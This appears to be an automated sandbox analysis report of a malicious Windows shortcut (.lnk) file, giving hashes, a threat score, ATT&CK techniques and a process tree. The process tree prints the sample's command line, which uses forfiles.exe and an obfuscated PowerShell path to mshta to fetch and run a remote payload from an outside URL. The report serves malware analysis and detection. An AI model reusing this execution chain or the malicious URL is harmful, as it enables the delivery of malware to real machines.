c3dcd725be7a2a134c82b24d55992e4940526763ca9c607a82f423527085485c

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/09/2024, 01:41

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General

Target

c3dcd725be7a2a134c82b24d55992e4940526763ca9c607a82f423527085485c.lnk
Size

272KB
MD5

47c69db79640bcff28c4609d7cb9fdf1
SHA1

9b7d6e44525f5c7b1ad0ad50232ae2f00ef19c21
SHA256

c3dcd725be7a2a134c82b24d55992e4940526763ca9c607a82f423527085485c
SHA512

97cfbb41da9521c45c4b204c0c8cc6a551921b39f052d4b68787668e4b16185c7e70e380c25fc05731a4c9fe2fa491682fc09ceee8dbf38a11b73f1ecaa83ee4
SSDEEP

24:8Wi+1hAh52pyAzPkr+/4h+sPSLDgdd79ds6xmab/U3IVqm:8WTo8zmbQEdJ9KabU3Kq

Score

7^/10

defense_evasion

Malware Config

Signatures

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
2308	forfiles.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2732	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2732	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2936 wrote to memory of 2308	2936	cmd.exe	31
PID 2936 wrote to memory of 2308	2936	cmd.exe	31
PID 2936 wrote to memory of 2308	2936	cmd.exe	31
PID 2308 wrote to memory of 2732	2308	forfiles.exe	32
PID 2308 wrote to memory of 2732	2308	forfiles.exe	32
PID 2308 wrote to memory of 2732	2308	forfiles.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\c3dcd725be7a2a134c82b24d55992e4940526763ca9c607a82f423527085485c.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2936
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows /m write.exe /c "powershell . \*i*\*2\msh*e https://siff-sd.com/temp/Docs-08-2024
  2⤵
  - Indirect Command Execution
  - Suspicious use of WriteProcessMemory
  PID:2308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    . \*i*\*2\msh*e https://siff-sd.com/temp/Docs-08-2024
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2732-40-0x000007FEF56DE000-0x000007FEF56DF000-memory.dmp

Filesize
4KB

Download
memory/2732-41-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2732-42-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2732-43-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2732-44-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2732-45-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download